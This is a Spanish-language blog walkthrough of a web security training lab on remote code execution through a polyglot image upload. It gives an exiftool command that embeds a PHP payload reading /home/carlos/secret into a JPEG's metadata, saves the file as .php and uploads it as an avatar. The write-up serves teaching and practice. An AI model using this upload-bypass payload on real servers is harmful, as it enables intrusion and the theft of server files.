Descripción

This lab contains a vulnerable image upload function. Although it checks the contents of the file to verify that it is a genuine image, it is still possible to upload and execute server-side code.

To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.

You can log in to your own account using the following credentials: wiener:peter

Remote code execution via polyglot web shell upload writeup

Para este laboratorio necesitaremos una máquina virtual Linux. Tendremos que añadir el código del archivo .php que creamos en los laboratorios anteriores en la descripción de una imagen. Para ello descargaremos una imagen cualquiera de internet (en mi caso nyan_cat.jpg) y usaremos el siguiente comando en Linux:

exiftool -comment="<?php echo 'INICIO' . file_get_contents('/home/carlos/secret') .'FIN'; ?>" nyan_cat.jpg -o nyan_cat_2.php

Nota: El archivo obtenido debe de tener la extensión .php

Nota: Si aparece un error al crear el archivo puede ser porque ya exista uno creado con ese mismo nombre, hay que borrarlo antes de ejecutar el comando, debe de aparecer la salida sin errores:

Con este comando estaremos poniendo código php en el campo de comentario de los metadatos de la foto.

Ahora subiremos esta foto en ‘My account’, en el apartado de foto de avatar. Al subirla, le daremos Click derecho -> Abrir imagen en una pestaña nueva. Veremos lo siguiente:

El contenido del archivo estará entre ‘INICIO’ y ‘FIN’.

Nota: Si al abrir esta página aparece un error 500 es porque el código php tiene un error (en mi caso era el ‘;’, que no estaba en el lugar correcto).

Copiaremos la solución, en mi caso ‘FOK3Pj5InYpHbMzQXymkX0mq4vQQS03X’ y la enviaremos tras pulsar en ‘Submit solution’, completando así el laboratorio:

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *